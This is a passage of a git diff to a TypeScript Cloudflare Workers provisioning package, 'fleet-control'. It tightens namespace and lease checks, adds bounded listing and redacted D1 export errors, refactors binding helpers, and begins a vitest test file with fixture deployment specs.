this.#assertUntrustedDispatchNamespace(dispatchNamespace); const result = await this.#client.workersForPlatforms.dispatch.namespaces.scripts.update( scriptName, { account_id: this.#accountId, - dispatch_namespace: this.#dispatchNamespace, + dispatch_namespace: dispatchNamespace, bindings_inherit: 'strict', files, metadata: { @@ -3156,15 +3901,20 @@ export class CloudflareProvisioningClient implements PlainWorkerRouteApi { additionalSecrets?: Readonly>; }> = {}, ): Promise { + const dispatchNamespace = + this.#requireDispatchNamespace('putDispatchSecrets'); await this.#schedule(async () => { const scripts = this.#client.workersForPlatforms.dispatch.namespaces.scripts; const listSecretNames = async (): Promise => { const names: string[] = []; - for await (const secret of scripts.secrets.list(scriptName, { - account_id: this.#accountId, - dispatch_namespace: this.#dispatchNamespace, - })) { + for await (const secret of this.#collectBounded( + scripts.secrets.list(scriptName, { + account_id: this.#accountId, + dispatch_namespace: dispatchNamespace, + }), + 'dispatch Worker secret inventory', + )) { if (!secret.name) { throw new Error( `dispatch Worker '${scriptName}' returned a secret without a name`, @@ -3187,7 +3937,7 @@ export class CloudflareProvisioningClient implements PlainWorkerRouteApi { scriptName, { account_id: this.#accountId, - dispatch_namespace: this.#dispatchNamespace, + dispatch_namespace: dispatchNamespace, secrets: Object.fromEntries([ ...Object.entries(desiredSecrets).map( ([name, text]) => @@ -3234,6 +3984,9 @@ export class CloudflareProvisioningClient implements PlainWorkerRouteApi { } | undefined > { + const dispatchNamespace = this.#requireDispatchNamespace( + 'inspectDispatchWorker', + ); return this.#schedule(async () => { try { const scripts = @@ -3241,11 +3994,11 @@ export class CloudflareProvisioningClient implements PlainWorkerRouteApi { const [script, settings] = await Promise.all([ scripts.get(scriptName, { account_id: this.#accountId, - dispatch_namespace: this.#dispatchNamespace, + dispatch_namespace: dispatchNamespace, }), scripts.settings.get(scriptName, { account_id: this.#accountId, - dispatch_namespace: this.#dispatchNamespace, + dispatch_namespace: dispatchNamespace, }), ]); const bindings = settings.bindings ?? []; @@ -3399,16 +4152,22 @@ export class CloudflareProvisioningClient implements PlainWorkerRouteApi { } async revokeDispatchSecrets(scriptName: string): Promise { + const dispatchNamespace = this.#requireDispatchNamespace( + 'revokeDispatchSecrets', + ); await this.#schedule(async () => { const scripts = this.#client.workersForPlatforms.dispatch.namespaces.scripts; const listNames = async (): Promise => { try { const names: string[] = []; - for await (const secret of scripts.secrets.list(scriptName, { - account_id: this.#accountId, - dispatch_namespace: this.#dispatchNamespace, - })) { + for await (const secret of this.#collectBounded( + scripts.secrets.list(scriptName, { + account_id: this.#accountId, + dispatch_namespace: dispatchNamespace, + }), + 'dispatch Worker secret inventory', + )) { if (!secret.name) { throw new Error( `dispatch Worker '${scriptName}' returned a secret without a name`, @@ -3427,7 +4186,7 @@ export class CloudflareProvisioningClient implements PlainWorkerRouteApi { try { await scripts.secrets.bulkUpdate(scriptName, { account_id: this.#accountId, - dispatch_namespace: this.#dispatchNamespace, + dispatch_namespace: dispatchNamespace, secrets: Object.fromEntries( current.map((name) => [name, null] as const), ), @@ -3445,13 +4204,16 @@ export class CloudflareProvisioningClient implements PlainWorkerRouteApi { } async deleteDispatchWorker(scriptName: string): Promise { + const dispatchNamespace = this.#requireDispatchNamespace( + 'deleteDispatchWorker', + ); await this.#schedule(async () => { try { await this.#client.workersForPlatforms.dispatch.namespaces.scripts.delete( scriptName, { account_id: this.#accountId, - dispatch_namespace: this.#dispatchNamespace, + dispatch_namespace: dispatchNamespace, }, ); } catch (error) { @@ -3467,77 +4229,96 @@ export class CloudflareProvisioningClient implements PlainWorkerRouteApi { ); } let bookmark: string | undefined; - for (let attempt = 0; attempt < 120; attempt += 1) { - const response = await this.#schedule(() => - this.#client.d1.database.export(databaseId, { - account_id: this.#accountId, - output_format: 'polling', - current_bookmark: bookmark, - }), - ); - if (response.status === 'error') { - throw new Error( - response.error ?? `D1 export failed for '${databaseId}'`, - ); - } - if (response.status === 'complete' && response.result?.signed_url) { - const signedUrl = new URL(response.result.signed_url); - if (signedUrl.protocol !== 'https:') { - throw new Error('D1 export returned a non-HTTPS download URL'); - } - const download = await this.#request(signedUrl, { - redirect: 'error', - }); - if (!download.ok || !download.body) { - throw new Error( - `D1 export download failed with HTTP ${download.status}`, - ); - } - const [storeBody, hashBody] = download.body.tee(); - const contentLengthValue = download.headers.get('content-length'); - const contentLength = contentLengthValue - ? Number(contentLengthValue) - : undefined; - const hasContentLength = - contentLength !== undefined && - Number.isSafeInteger(contentLength) && - contentLength >= 0; - const [stored, integrity] = await Promise.all([ - this.#exportStore.write({ + let pollCount = 0; + let providerStatusError = false; + let httpStatus: number | undefined; + let safeDetail: string | undefined; + const fail: (detail?: string) => never = (detail) => { + if (detail !== undefined) safeDetail = detail; + throw new Error('D1 export failed'); + }; + try { + for (let attempt = 0; attempt < 120; attempt += 1) { + pollCount += 1; + const response = await this.#schedule(() => + this.#client.d1.database.export( databaseId, - fileName: `${databaseId}-${Date.now()}.sql`, - body: storeBody, - ...(hasContentLength ? { contentLength } : {}), - }), - hashExport(hashBody), - ]); - if (!stored.location || integrity.size === 0) { - throw new Error('durable D1 export is empty or has no location'); + { + account_id: this.#accountId, + output_format: 'polling', + current_bookmark: bookmark, + }, + { maxRetries: 0 }, + ), + ); + if (response.status === 'error') { + providerStatusError = true; + fail(); } - if (hasContentLength && integrity.size !== contentLength) { - throw new Error('durable D1 export size differs from the download'); + if (response.status === 'complete' && response.result?.signed_url) { + const signedUrl = new URL(response.result.signed_url); + if (signedUrl.protocol !== 'https:') { + fail('export returned a non-HTTPS download URL'); + } + const download = await this.#request(signedUrl, { + redirect: 'error', + }); + httpStatus = download.status; + if (!download.ok) fail(); + const downloadBody = download.body; + if (!downloadBody) fail(); + const [storeBody, hashBody] = downloadBody.tee(); + const contentLengthValue = download.headers.get('content-length'); + const contentLength = contentLengthValue + ? Number(contentLengthValue) + : undefined; + const hasContentLength = + contentLength !== undefined && + Number.isSafeInteger(contentLength) && + contentLength >= 0; + const [stored, integrity] = await Promise.all([ + this.#exportStore.write({ + databaseId, + fileName: `${databaseId}-${Date.now()}.sql`, + body: storeBody, + ...(hasContentLength ? { contentLength } : {}), + }), + hashExport(hashBody), + ]); + if (!stored.location || integrity.size === 0) { + fail('durable D1 export is empty or has no location'); + } + if (hasContentLength && integrity.size !== contentLength) { + fail('durable D1 export size differs from the download'); + } + if ( + stored.size !== integrity.size || + stored.sha256 !== integrity.sha256 + ) { + fail( + 'committed durable D1 export integrity differs from the download', + ); + } + return { databaseId, location: stored.location, ...integrity }; } - if ( - stored.size !== integrity.size || - stored.sha256 !== integrity.sha256 - ) { - throw new Error( - 'committed durable D1 export integrity differs from the download', - ); + if (!response.at_bookmark) { + fail('export returned no polling bookmark'); } - return { databaseId, location: stored.location, ...integrity }; - } - if (!response.at_bookmark) { - throw new Error( - `D1 export for '${databaseId}' returned no polling bookmark`, - ); + bookmark = response.at_bookmark; + await new Promise((resolve) => setTimeout(resolve, 1_000)); } - bookmark = response.at_bookmark; - await new Promise((resolve) => setTimeout(resolve, 1_000)); + fail('export did not complete within the poll budget'); + } catch (error) { + const errorStatus = readErrorFieldSafely(error, 'status'); + if (typeof errorStatus === 'number') httpStatus = errorStatus; + const name = sanitizedErrorName(error); + throw new Error( + `${safeDetail ? `${safeDetail}: ` : ''}D1 export for '${databaseId}' failed after ${pollCount} poll(s)${ + providerStatusError ? " with provider status 'error'" : '' + }${httpStatus === undefined ? '' : ` with HTTP ${httpStatus}`}`, + { cause: { name } }, + ); } - throw new Error( - `D1 export for '${databaseId}' did not complete within two minutes`, - ); } async deleteDatabase(databaseId: string): Promise { diff --git a/packages/fleet-control/src/index.ts b/packages/fleet-control/src/index.ts index 2429c777..5700c7ce 100644 --- a/packages/fleet-control/src/index.ts +++ b/packages/fleet-control/src/index.ts @@ -37,13 +37,19 @@ export { rollbackBackendSwitch, switchPlainDeploymentToWorkersForPlatforms, } from './backend-switch.js'; +export { + CloudflareApiPlainWorkerBackend, + type CloudflareApiPlainWorkerBackendOptions, +} from './cloudflare-api-plain-worker-backend.js'; export { type CloudflareClientOptions, + CloudflarePlaneCapabilityError, CloudflareProvisioningClient, type ControlWorkerInspection, type ControlWorkerSpec, type DurableDatabaseExportStore, type OrdinaryWorkerFootprint, + type PlainWorkerCloudflareClientOptions, } from './cloudflare-client.js'; export { type CloudflareApiRateCoordinator, diff --git a/packages/fleet-control/src/plain-worker-backend.ts b/packages/fleet-control/src/plain-worker-backend.ts index d426d6c1..9314fc13 100644 --- a/packages/fleet-control/src/plain-worker-backend.ts +++ b/packages/fleet-control/src/plain-worker-backend.ts @@ -32,6 +32,7 @@ import type { MaintenanceHealth, PlainWorkerCustomDomain, PlainWorkerProvisioningApi, + PlainWorkerUploadIntent, PlainWorkerUploadOutcome, PlainWorkerVersionDetail, PlainWorkerVersionSummary, @@ -182,8 +183,9 @@ export interface PlainWorkerBackendOptions { /** Provider operations used by the shared ordinary-Worker policy. */ readonly api: PlainWorkerProvisioningApi; /** - * Prefix for deployment-identity protocol refusal messages. This value is - * diagnostic only and is never persisted. + * Log-hygiene token prefixed to deployment-identity protocol refusals. The + * protocol uses `caller` as its diagnostic prefix and defaults to its own + * implementation token when omitted. This value is never persisted. */ readonly identityCaller: string; readonly fetch?: typeof fetch; @@ -195,7 +197,8 @@ export interface PlainWorkerBackendOptions { /** * Validate the maintenance request timeout before the wrapper constructs its * adapter, preserving the historic constructor guard order. This helper is - * exported for the wrapper but intentionally omitted from the package barrel. + * exported for both built-in ordinary-Worker backends but intentionally + * omitted from the package barrel. */ export function resolveMaintenanceRequestTimeoutMs( value: number | undefined, @@ -214,11 +217,11 @@ export function resolveMaintenanceRequestTimeoutMs( * Shared provider-neutral ordinary-Worker implementation over * `PlainWorkerProvisioningApi`. * - * Its constructor options are unstable until the direct-API backend lands. Its - * public members are invoked by the class itself — database and R2 - * reconciliation, failed-deployment rollback, and teardown — so overriding any - * of them changes behavior the class depends on internally; do not subclass it - * outside this package. + * Its constructor options are the stable integration surface for built-in + * ordinary-Worker backends. Its public members are invoked by the class + * itself — database and R2 reconciliation, failed-deployment rollback, and + * teardown — so overriding any of them changes behavior the class depends on + * internally; do not subclass it outside this package. * * Mutation duration has two independent bounds. Port-level operations use * `maxMutationDurationMs`, while maintenance requests use the injected request @@ -229,6 +232,11 @@ export function resolveMaintenanceRequestTimeoutMs( * custom-domain attach, normal traffic removal's detach, and the maintenance * request before dispatch. Force detach, public-access disable, and secret * deletion rely on the route contract. + * + * The port's explicit pre-dispatch assertions are also load-bearing for + * outcome-valued database creation, candidate upload, and deployment creation. + * Without them, a lost lease represented as `{ status: 'failed' }` could be + * masked by the core's provider readback and reconciliation. */ export class PlainWorkerBackend implements ProvisioningBackend { readonly kind = 'plain-worker' as const; @@ -242,6 +250,14 @@ export class PlainWorkerBackend implements ProvisioningBackend { const maintenanceRequestTimeoutMs = resolveMaintenanceRequestTimeoutMs( options.maintenanceRequestTimeoutMs, ); + if ( + typeof options.identityCaller !== 'string' || + !/^[\x21-\x7e]{1,128}$/u.test(options.identityCaller) + ) { + throw new Error( + 'plain Worker backend identityCaller must be a 1-128 character single-line token', + ); + } this.#api = options.api; this.#identityCaller = options.identityCaller; this.#fetch = options.fetch ?? fetch; @@ -416,9 +432,11 @@ export class PlainWorkerBackend implements ProvisioningBackend { if (!this.#api.createR2Bucket) { throw new Error('plain Worker route API does not support application R2'); } + await fence.assertOwned(); try { await this.#api.createR2Bucket(resource, fence); } catch (error) { + await fence.assertOwned(); const reconciled = await this.findApplicationR2Bucket(resource); if (reconciled) return reconciled; if ( @@ -1153,6 +1171,10 @@ export class PlainWorkerBackend implements ProvisioningBackend { const ingressModule = plainWorkerIngressModule(spec); const digest = deploymentSpecDigest(spec); const mode = deployment === undefined ? 'initial' : 'staged'; + const publicAccess: PlainWorkerUploadIntent['publicAccess'] = { + workersDevEnabled: true, + previewUrlsEnabled: false, + }; let uploadOutcome: PlainWorkerUploadOutcome | undefined; if (!candidateId) { this.#assertMutationDuration(fence); @@ -1225,10 +1247,7 @@ export class PlainWorkerBackend implements ProvisioningBackend { })), }, limits: { cpuMs: spec.cpuLimitMs }, - publicAccess: { - workersDevEnabled: true, - previewUrlsEnabled: false, - }, + publicAccess, ...(mode === 'initial' ? { mode, @@ -1272,6 +1291,19 @@ export class PlainWorkerBackend implements ProvisioningBackend { if (!operationCandidate) { throw new Error('new Worker candidate has no artifact version'); } + if (uploadOutcome?.status === 'failed') { + const footprint = await this.#api.inspectOrdinaryWorkerFootprint( + spec.scriptName, + ); + if ( + footprint.workersDevEnabled !== publicAccess.workersDevEnabled || + footprint.previewUrlsEnabled !== publicAccess.previewUrlsEnabled + ) { + throw new Error( + `reconciled Worker upload for '${spec.scriptName}' did not converge public access`, + ); + } + } candidateId = operationCandidate; } if (deployment) { diff --git a/packages/fleet-control/src/provider-binding-inventory.ts b/packages/fleet-control/src/provider-binding-inventory.ts index a49a3fe4..d4fe6a55 100644 --- a/packages/fleet-control/src/provider-binding-inventory.ts +++ b/packages/fleet-control/src/provider-binding-inventory.ts @@ -1,10 +1,169 @@ // SPDX-License-Identifier: Apache-2.0 +import type { VersionCreateParams } from 'cloudflare/resources/workers/scripts/versions'; import type { + OrdinaryWorkerDeploymentVersion, + PlainWorkerUploadIntent, PlainWorkerVersionBinding, ProviderBindingIdentity, } from './types.js'; +export function readField(value: unknown, name: string): unknown { + return value && typeof value === 'object' + ? Reflect.get(value, name) + : undefined; +} + +export function readStringField( + value: unknown, + name: string, +): string | undefined { + const candidate = readField(value, name); + return typeof candidate === 'string' ? candidate : undefined; +} + +export function readArrayField( + value: unknown, + name: string, +): readonly unknown[] { + const candidate = readField(value, name); + return Array.isArray(candidate) ? candidate : []; +} + +export function providerBindingsToPlainWorkerShape( + bindings: readonly unknown[], +): readonly PlainWorkerVersionBinding[] { + return bindings.map((binding) => { + if (!binding || typeof binding !== 'object' || Array.isArray(binding)) { + return { type: 'unsupported', name: undefined, issue: 'not-object' }; + } + const name = readStringField(binding, 'name'); + const rawType = readField(binding, 'type'); + if ( + typeof rawType !== 'string' || + rawType.length === 0 || + rawType !== rawType.trim() + ) { + return { + type: 'unsupported', + name, + providerType: typeof rawType === 'string' ? rawType : undefined, + issue: 'invalid-type', + }; + } + switch (rawType) { + case 'd1': { + const id = + readField(binding, 'id') ?? readField(binding, 'database_id'); + return { + type: 'd1', + name, + databaseId: typeof id === 'string' ? id : undefined, + }; + } + case 'durable_object_namespace': + return { + type: 'durable-object', + name, + className: readStringField(binding, 'class_name'), + namespaceId: readStringField(binding, 'namespace_id'), + }; + case 'service': + return { + type: 'service', + name, + service: readStringField(binding, 'service'), + }; + case 'queue': + return { + type: 'queue-producer', + name, + queueName: readStringField(binding, 'queue_name'), + }; + case 'r2_bucket': + return { + type: 'r2-bucket', + name, + bucketName: readStringField(binding, 'bucket_name'), + }; + case 'plain_text': + return { + type: 'plain-text', + name, + value: readStringField(binding, 'text'), + }; + case 'secret_text': + return { type: 'secret-text', name }; + default: + return { + type: 'unsupported', + name, + providerType: rawType, + issue: 'unsupported-type', + }; + } + }); +} + +export function assertOrdinaryWorkerDeploymentVersions( + versions: readonly OrdinaryWorkerDeploymentVersion[], +): void { + if (versions.length === 0) { + throw new Error('ordinary Worker deployment requires at least one version'); + } + const ids = new Set(); + for (const version of versions) { + if (typeof version.versionId !== 'string') { + throw new Error('ordinary Worker deployment version ids must be strings'); + } + if ( + !Number.isFinite(version.percentage) || + version.percentage < 0 || + version.percentage > 100 + ) { + throw new Error( + 'ordinary Worker deployment percentages must be finite values from 0 to 100', + ); + } + if (ids.has(version.versionId)) { + throw new Error('ordinary Worker deployment has duplicate version ids'); + } + ids.add(version.versionId); + } +} + +export function uploadIntentToProviderBindings( + intent: PlainWorkerUploadIntent, +): NonNullable { + const bindings: NonNullable = []; + for (const { name, value } of intent.bindings.plainText) { + bindings.push({ name, type: 'plain_text', text: value }); + } + for (const { name, value } of intent.bindings.secrets) { + bindings.push({ name, type: 'secret_text', text: value }); + } + for (const { name, databaseId } of intent.bindings.d1) { + bindings.push({ name, type: 'd1', database_id: databaseId }); + } + for (const { name, className } of intent.bindings.durableObjects) { + bindings.push({ + name, + type: 'durable_object_namespace', + class_name: className, + }); + } + for (const { name, service } of intent.bindings.services) { + bindings.push({ name, type: 'service', service }); + } + for (const { name, queueName } of intent.bindings.queueProducers) { + bindings.push({ name, type: 'queue', queue_name: queueName }); + } + for (const { name, bucketName } of intent.bindings.r2Buckets) { + bindings.push({ name, type: 'r2_bucket', bucket_name: bucketName }); + } + return bindings; +} + function bindingKey(binding: ProviderBindingIdentity): string { return `${binding.type}\u0000${binding.name}`; } diff --git a/packages/fleet-control/src/types.ts b/packages/fleet-control/src/types.ts index 29db3e82..3adcbb93 100644 --- a/packages/fleet-control/src/types.ts +++ b/packages/fleet-control/src/types.ts @@ -14,6 +14,12 @@ export type { InitialExecutionFenceState }; export type ProvisioningBackendKind = 'plain-worker' | 'workers-for-platforms'; +/** One immutable Worker version and its intended deployment percentage. */ +export type OrdinaryWorkerDeploymentVersion = Readonly<{ + versionId: string; + percentage: number; +}>; + export interface WorkerModule { readonly name: string; readonly content: string | Uint8Array; @@ -823,27 +829,27 @@ export interface PlainWorkerRouteApi { * `deleteDatabaseFenced`, asserts it immediately before every provider request * it issues through the command runner or route API. `deleteDatabaseFenced` * runs inside `withMutationFence` and relies on the route API's per-request - * assertion (parity with the pre-port Wrangler CLI loop); whether the - * direct-API adapter additionally pre-asserts remains an open question. + * assertion. The direct-API adapter does not pre-assert either, so both + * adapters have identical assertion counts. * * A method that resolves a `PlainWorkerMutationOutcome` over a transport that * asserts per request must ALSO assert explicitly before dispatch, so a lost * lease rejects instead of resolving `failed` and triggering readback. * - * `withMutationFence` is re-entrant with the same fence; a - * `PlainWorkerRouteApi.withMutationFence` implementation is not required to - * treat entry as an ownership assertion (assertion belongs to each mutating - * request). An implementation that also asserts on entry is tolerated — the - * adapter's re-entrancy short-circuit keeps the assertion count stable. Inherited - * `PlainWorkerRouteApi` members retain their own contract. + * `PlainWorkerRouteApi.withMutationFence` entry is not itself an ownership + * assertion; assertion belongs to each mutating request. Nested scopes retain + * that request-level contract. Inherited `PlainWorkerRouteApi` members retain + * their own contract. * - * `undefined` and `'absent'` mean provider absence only. Other failures reject - * with the provider error unmodified, and fence failures are never classified - * as absence. Methods without an absence-typed result do not classify absence. + * `undefined` and `'absent'` mean provider absence only. Adapters propagate + * provider status and classification, may strip transport bodies and redact + * secret material from messages, and never classify a fence failure as + * absence. Methods without an absence-typed result do not classify absence. * * `createDatabase`, `uploadCandidate`, and `createDeployment` resolve a failed - * outcome only after a provider request was dispatched and failed or its result - * became unknown. They reject failures that provably predate dispatch, including + * outcome only after a provider mutation request was dispatched and failed or + * its result became unknown; a preceding provider read does not count as + * dispatch. They reject failures that provably predate that dispatch, including * fence assertion and local preparation failures. Other mutations reject on * failure except for their documented absence result. */ @@ -874,8 +880,8 @@ export interface PlainWorkerProvisioningApi extends PlainWorkerRouteApi { ): Promise; /** * Lists the provider's Worker version inventory, or `undefined` for provider - * absence. Bounded pagination is an open contract question for the direct-API - * adapter. + * absence. The listing is bounded by item count and rejects rather than + * truncating. */ listVersions( scriptName: string, @@ -905,7 +911,7 @@ export interface PlainWorkerProvisioningApi extends PlainWorkerRouteApi { /** Creates a deployment and reports a dispatched mutation outcome. */ createDeployment( scriptName: string, - versions: readonly { versionId: string; percentage: number }[], + versions: readonly OrdinaryWorkerDeploymentVersion[], fence: ExternalMutationFence, ): Promise; /** Deletes a Worker script, returning absent only for provider absence. */ diff --git a/packages/fleet-control/src/workers-for-platforms-backend.ts b/packages/fleet-control/src/workers-for-platforms-backend.ts index 9aa629bf..cdf6d467 100644 --- a/packages/fleet-control/src/workers-for-platforms-backend.ts +++ b/packages/fleet-control/src/workers-for-platforms-backend.ts @@ -473,9 +473,11 @@ export class WorkersForPlatformsBackend implements ProvisioningBackend { fence: ExternalMutationFence, ): Promise { return this.#withMutationFence(fence, async () => { + await fence.assertOwned(); try { return await this.#client.createDatabase(spec.databaseName); } catch (cause) { + await fence.assertOwned(); const recovered = await this.#client.findDatabase(spec.databaseName); if (recovered) { const owner = await this.readDeploymentIdentity(recovered, fence); @@ -580,9 +582,11 @@ export class WorkersForPlatformsBackend implements ProvisioningBackend { 'Workers for Platforms client does not support application R2', ); } + await fence.assertOwned(); try { await this.#client.createR2Bucket(resource, fence); } catch (error) { + await fence.assertOwned(); const reconciled = await this.findApplicationR2Bucket(resource); if (reconciled) return reconciled; if ( diff --git a/packages/fleet-control/src/wrangler-loop-backend.ts b/packages/fleet-control/src/wrangler-loop-backend.ts index 7c699ad6..089813b2 100644 --- a/packages/fleet-control/src/wrangler-loop-backend.ts +++ b/packages/fleet-control/src/wrangler-loop-backend.ts @@ -23,6 +23,7 @@ export class WranglerLoopBackend extends PlainWorkerBackend { readonly exportStore: DurableDatabaseExportStore; readonly fetch?: typeof fetch; readonly maintenanceRequestTimeoutMs?: number; + /** Stamps `observedAt` on an attestation. Injected so it can be pinned. */ readonly clock?: () => number; }) { const { diff --git a/packages/fleet-control/src/wrangler-plain-worker-provisioning-api.ts b/packages/fleet-control/src/wrangler-plain-worker-provisioning-api.ts index feaa0d00..45ab884c 100644 --- a/packages/fleet-control/src/wrangler-plain-worker-provisioning-api.ts +++ b/packages/fleet-control/src/wrangler-plain-worker-provisioning-api.ts @@ -8,9 +8,15 @@ import { tmpdir } from 'node:os'; import { join, resolve } from 'node:path'; import { Readable } from 'node:stream'; import type { DurableDatabaseExportStore } from './cloudflare-client.js'; +import { + providerBindingsToPlainWorkerShape, + readField, + readStringField, +} from './provider-binding-inventory.js'; import type { DatabaseReference, ExternalMutationFence, + OrdinaryWorkerDeploymentVersion, PlainWorkerDatabaseExportResult, PlainWorkerDatabaseInventoryEntry, PlainWorkerDeploymentStatus, @@ -19,7 +25,6 @@ import type { PlainWorkerRouteApi, PlainWorkerUploadIntent, PlainWorkerUploadOutcome, - PlainWorkerVersionBinding, PlainWorkerVersionDetail, PlainWorkerVersionSummary, } from './types.js'; @@ -42,17 +47,6 @@ function asArray(value: unknown): readonly unknown[] { return []; } -function field(value: unknown, name: string): unknown { - return value && typeof value === 'object' - ? (value as Record)[name] - : undefined; -} - -function stringField(value: unknown, name: string): string | undefined { - const candidate = field(value, name); - return typeof candidate === 'string' ? candidate : undefined; -} - function isWranglerNotFound(error: unknown): boolean { return ( error instanceof Error && @@ -61,86 +55,16 @@ function isWranglerNotFound(error: unknown): boolean { } function readVersionId(value: unknown): string | undefined { - const id = field(value, 'id') ?? field(value, 'version_id'); + const id = readField(value, 'id') ?? readField(value, 'version_id'); return typeof id === 'string' ? id : undefined; } function versionTag(value: unknown): string | undefined { - const annotations = field(value, 'annotations'); - const tag = field(annotations, 'workers/tag') ?? field(value, 'tag'); + const annotations = readField(value, 'annotations'); + const tag = readField(annotations, 'workers/tag') ?? readField(value, 'tag'); return typeof tag === 'string' ? tag : undefined; } -function normalizeBinding(binding: unknown): PlainWorkerVersionBinding { - if (!binding || typeof binding !== 'object' || Array.isArray(binding)) { - return { - type: 'unsupported', - name: undefined, - issue: 'not-object', - }; - } - const name = stringField(binding, 'name'); - const rawType = field(binding, 'type'); - if ( - typeof rawType !== 'string' || - rawType.length === 0 || - rawType !== rawType.trim() - ) { - return { - type: 'unsupported', - name, - providerType: typeof rawType === 'string' ? rawType : undefined, - issue: 'invalid-type', - }; - } - switch (rawType) { - case 'd1': { - const id = field(binding, 'id') ?? field(binding, 'database_id'); - return { - type: 'd1', - name, - databaseId: typeof id === 'string' ? id : undefined, - }; - } - case 'durable_object_namespace': - return { - type: 'durable-object', - name, - className: stringField(binding, 'class_name'), - namespaceId: stringField(binding, 'namespace_id'), - }; - case 'service': - return { - type: 'service', - name, - service: stringField(binding, 'service'), - }; - case 'queue': - return { - type: 'queue-producer', - name, - queueName: stringField(binding, 'queue_name'), - }; - case 'r2_bucket': - return { - type: 'r2-bucket', - name, - bucketName: stringField(binding, 'bucket_name'), - }; - case 'plain_text': - return { type: 'plain-text', name, value: stringField(binding, 'text') }; - case 'secret_text': - return { type: 'secret-text', name }; - default: - return { - type: 'unsupported', - name, - providerType: rawType, - issue: 'unsupported-type', - }; - } -} - function normalizeVersionSummary(value: unknown): PlainWorkerVersionSummary { return { versionId: readVersionId(value), tag: versionTag(value) }; } @@ -307,8 +231,8 @@ export class WranglerPlainWorkerProvisioningApi async listDatabases(): Promise { const listed = await this.#runner.run(['d1', 'list', '--json']); return asArray(parseJson(listed.stdout, 'd1 list')).map((database) => ({ - databaseId: stringField(database, 'uuid'), - name: stringField(database, 'name'), + databaseId: readStringField(database, 'uuid'), + name: readStringField(database, 'name'), })); } @@ -324,9 +248,9 @@ export class WranglerPlainWorkerProvisioningApi throw error; } const parsed = parseJson(result.stdout, 'd1 info'); - const body = field(parsed, 'result') ?? parsed; - const id = field(body, 'uuid'); - const name = field(body, 'name'); + const body = readField(parsed, 'result') ?? parsed; + const id = readField(body, 'uuid'); + const name = readField(body, 'name'); if (id !== databaseId || typeof name !== 'string' || name.length === 0) { throw new Error('D1 info result has an invalid uuid or name'); } @@ -378,10 +302,10 @@ export class WranglerPlainWorkerProvisioningApi throw error; } const parsed = parseJson(result.stdout, 'deployments status'); - const body = field(parsed, 'result') ?? parsed; + const body = readField(parsed, 'result') ?? parsed; return { - versions: asArray(field(body, 'versions')).map((version) => { - const rawPercentage = field(version, 'percentage'); + versions: asArray(readField(body, 'versions')).map((version) => { + const rawPercentage = readField(version, 'percentage'); return { versionId: readVersionId(version), percentage: @@ -424,11 +348,13 @@ export class WranglerPlainWorkerProvisioningApi '--json', ]); const parsed = parseJson(viewed.stdout, 'versions view'); - const resources = field(parsed, 'resources'); + const resources = readField(parsed, 'resources'); return { versionId: readVersionId(parsed), tag: versionTag(parsed), - bindings: asArray(field(resources, 'bindings')).map(normalizeBinding), + bindings: providerBindingsToPlainWorkerShape( + asArray(readField(resources, 'bindings')), + ), }; } @@ -574,7 +500,7 @@ export class WranglerPlainWorkerProvisioningApi async createDeployment( scriptName: string, - versions: readonly { versionId: string; percentage: number }[], + versions: readonly OrdinaryWorkerDeploymentVersion[], fence: ExternalMutationFence, ): Promise { await fence.assertOwned(); diff --git a/packages/fleet-control/test/cloudflare-api-plain-worker-backend.test.ts b/packages/fleet-control/test/cloudflare-api-plain-worker-backend.test.ts new file mode 100644 index 00000000..077d7e72 --- /dev/null +++ b/packages/fleet-control/test/cloudflare-api-plain-worker-backend.test.ts @@ -0,0 +1,343 @@ +// SPDX-License-Identifier: Apache-2.0 + +import { describe, expect, it, vi } from 'vitest'; +import { CloudflareApiPlainWorkerBackend } from '../src/cloudflare-api-plain-worker-backend.js'; +import { CloudflareProvisioningClient } from '../src/cloudflare-client.js'; +import { WorkerDeploymentError } from '../src/deployment-error.js'; +import { deploymentSpecDigest } from '../src/spec-digest.js'; +import type { + DatabaseReference, + DeploymentSecrets, + DeploymentSpec, + ExternalMutationFence, +} from '../src/types.js'; +import { + type CloudflareFixtureHandler, + type ProviderWorld, + pageArray, + providerWorld, + recordingFetch, + restProjection, + single, + testRateCoordinator, + zoneAuthorityResponse, +} from './fixtures/cloudflare-fetch-fixture.js'; +import { memoryStore } from './fixtures/plain-worker-port-probe.js'; + +const baseSpec: DeploymentSpec = { + tenantTag: 'acme', + environment: 'production', + scriptName: 'acme-production', + databaseName: 'acme-production', + compatibilityDate: '2026-08-26', + compatibilityFlags: ['nodejs_compat'], + mainModule: 'worker.js', + modules: [{ name: 'worker.js', content: 'export default { version: 1 }' }], + authoredBy: 'platform', + schemaVersion: 1, + migrations: [], + durableObjectMigrations: [], + durableObjectBindings: [], + maintenanceBaseUrl: 'https://control.example.test', + routeHostname: 'app.example.test', +}; + +const nextSpec: DeploymentSpec = { + ...baseSpec, + modules: [{ name: 'worker.js', content: 'export default { version: 2 }' }], +}; + +const database: DatabaseReference = { + id: 'database-1', + name: baseSpec.databaseName, + created: true, +}; + +const secrets: DeploymentSecrets = { + deploymentIdentity: 'deployment-identity-secret-value-0001', + maintenanceAdmin: 'maintenance-admin-secret-value-00001', +}; + +function fence(): ExternalMutationFence { + return { + mutationLeaseTtlMs: 15 * 60_000, + assertOwned: vi.fn(async () => {}), + }; +} + +function maintenanceResponse(spec: DeploymentSpec): Response { + return Response.json({ + nextSweepAt: 2_000, + nextPurgeAt: 3_000, + alarmAt: 2_000, + lastSweepAt: 1_000, + deploymentSpecDigest: deploymentSpecDigest(spec), + }); +} + +function projectedHandler( + world: ProviderWorld, + options: { readonly failInitialSubdomain?: boolean } = {}, +): CloudflareFixtureHandler { + const projected = restProjection(world); + const domains: Array<{ id: string; hostname: string; service: string }> = []; + return async (request) => { + const url = new URL(request.url); + const authority = zoneAuthorityResponse(url, []); + if (authority) return authority; + const body = + request.body && typeof request.body === 'object' ? request.body : {}; + if (url.pathname.endsWith('/workers/domains')) { + if (request.method === 'GET') return pageArray(domains); + if (request.method === 'PUT') { + const hostname = Reflect.get(body, 'hostname'); + const service = Reflect.get(body, 'service'); + if (typeof hostname === 'string' && typeof service === 'string') { + domains.splice(0, domains.length, { + id: 'domain-1', + hostname, + service, + }); + } + return single({ id: 'domain-1' }); + } + } + if (request.method === 'GET' && url.pathname.endsWith('/workers/scripts')) { + return pageArray([...world.scripts.keys()].map((id) => ({ id }))); + } + if (url.pathname.endsWith('/secrets') && request.method === 'GET') { + if (url.searchParams.has('page')) return pageArray([]); + const scriptName = url.pathname.split('/').at(-2); + const script = scriptName ? world.scripts.get(scriptName) : undefined; + const names = (script?.versions[0]?.bindings ?? []).flatMap((binding) => + binding && + typeof binding === 'object' && + Reflect.get(binding, 